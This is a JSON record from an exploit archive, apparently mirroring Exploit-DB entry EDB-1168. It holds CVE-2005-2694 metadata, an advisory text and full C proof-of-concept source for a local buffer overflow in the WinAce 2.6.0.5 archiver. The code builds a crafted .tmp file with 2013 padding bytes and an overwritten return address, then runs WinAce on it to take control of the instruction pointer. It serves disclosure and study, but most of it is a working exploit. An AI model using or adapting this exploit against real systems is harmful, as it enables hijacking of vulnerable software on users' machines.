{"exploit":{"id":"EDB-1168","name":"WinAce 2.6.0.5 - Temporary File Parsing Buffer Overflow","description":"WinAce 2.6.0.5 - Temporary File Parsing Buffer Overflow","cves":["CVE-2005-2694"],"author":"ATmaCA","published":"2005-08-19","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1168","path":"exploits/windows/local/1168.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1168.c","vulnerabilities":[{"id":"CVE-2005-2694","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in WinAce 2.6.0.5, and possibly earlier versions, allows remote attackers to execute arbitrary code via a temporary (.tmp) file that contains an entry with a long file name.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2694","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2694"},"updatedAt":"2024-08-07T22:45:01.874Z","retrievedAt":"2026-11-27T13:12:16.234Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1168.png?v=2","url":"https://exploitbin.com/exploits/EDB-1168","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1168/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1168/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n===========================================================================\nApplication: \tWinAce\n\t\thttp://www.winace.com/\nVersions:\t2.6.0.5\nPlatforms:\tWindows\nBug:\t\tbuffer-overflow\nExploitation:\tlocal\nDate:\t\tJul 22 2004\nAuthor:\t\tATmaCA\n\t\te-mail: atmaca@icqmail.com\n\t\tweb:    http://www.atmacasoft.com\nCredit:\t\tKozan\n===========================================================================\n\nI. BACKGROUND\n\nWinAce is an archiving utility with an easy-to-use interface for creating,\nextracting, and viewing archives. It includes built-in compression for\nACE, ZIP, LHA, and MS CAB formats, and built-in decompression for\nACE, ZIP, LHA, MS CAB, RAR, ARJ, ARC, GZIP, TAR, and ZOO formats.\nYou can create multivolume (disk-spanning) archives for ACE and MS CAB formats\nand self-extracting archives (SFX) for ACE and ZIP formats.\n\nMore information about WinAce is available from:\nhttp://www.winace.com/winace.html\n\nII. DESCRIPTION\n\nLocal exploitation of a buffer overflow vulnerability in WinAce\nallows attackers to execute arbitrary code.\n\nWhen WinAce attempts to compress any file, firstly it creates temporary file which contains\nthe location of the file which will be compressed.\nThe problem specifically exists when parsing temporary files that contain long file entries.\n\nAn example malicious .tmp file with a long file name:\n\n\tc:\\AAAAAAAAA...[A x 2021 bytes is where the EIP starts]1234[AAAA...AAAAA]\\r\\n\n\nCommand line:\n\n\t\"C:\\Program Files\\WinAce\\winace.exe\" a \"C:\\Program Files\\WinAce\\winace\" @c:\\crafted.tmp\n\n'[A x 2021]' represents any string of 2021 bytes in\nlength. Opening either malicious tmp file on the Microsoft Windows\nplatform will cause WinAce to crash with an access violation when\nattempting to execute instruction 0x34333231, which is the little-endian\nASCII code representation of '1234'. An attacker can exploit this\nvulnerability to redirect the flow of control and eventually execute\narbitrary code. This example is specific to the Microsoft Windows\nplatform.\n\nIII. ANALYSIS\n\nExploitation of the described vulnerability allows remote attackers to\nexecute arbitrary code under the context of the user who started WinAce.\n\nExploitation requires that an attacker to execute arbitrary command line which contain location of malicious tmp file.\n\nIV. DETECTION\n\nWinAce 2.6.0.5 as installed on the Microsoft Windows\nplatform is affected. Earlier versions may also be susceptible.\n\nV. DISCLOSURE TIMELINE\n\n07/22/2005  Initial vendor notification\n07/25/2005  Initial vendor response\n08/19/2005  Public disclosure\n\nVI. POC:\n*/\n\n/*\n*\n* WinAce Temporary File Parsing Buffer Overflow Vulnerability\n* http://www.winace.com/winace.html\n* Discovered & Coded By ATmaCA\n* Web: atmacasoft.com && spyinstructors.com\n* E-Mail: atmaca@icqmail.com\n* Credit to kozan\n*\n*/\n\n/*\n*\n* Tested with WinAce 2.6.0.5 as installed on the Win XP Sp2 En platform\n*\n*/\n\n#include <windows.h>\n#include <stdio.h>\n\nvoid main()\n{\n        // create crafted command line\n        char tmpfile[] = \"c:\\\\crafted.tmp\";\n        char winacepath[] = \"\\\"C:\\\\Program Files\\\\WinAce\\\\winace.exe\\\"\";\n        char compresspar[] = \" a \\\"C:\\\\Program Files\\\\WinAce\\\\winace\\\" @\";\n        char runpar[300];\n        int i = 0;\n        char Ret_Addr[]= \"\\x31\\x32\\x33\\x34\";\n\n        strcpy(runpar,winacepath);\n        strcat(runpar,compresspar);\n        strcat(runpar,tmpfile);\n\n        // create crafted .tmp file\n        FILE *di;\n        if( (di=fopen(tmpfile,\"wb\")) == NULL ){\n                return;\n        }\n\n        fprintf(di,\"c:\\\\\");\n\n        for(i=0;i<2013;i++)\n                fputc(0x41,di);\n\n        // Overwriting the return address (EIP)\n        fprintf(di,Ret_Addr); //EIP\n\n        for(i=0;i<178;i++)\n                fputc(0x41,di);\n\n        // end of file\n        fprintf(di,\"\\x2E\\x74\\x78\\x74\\x0D\\x0A\");\n\n        fclose(di);\n        WinExec(runpar,SW_SHOW);\n}\n\n// milw0rm.com [2005-08-19]","sha256":"6bff47a133e49ac3d2d8e234ca4210913cbd938b59ca81780fec1b4b296ebf7d","bytes":3865,"fetchedAt":"2026-11-27T13:12:16.003Z","encoding":"utf-8 (display only; download retains original bytes)"}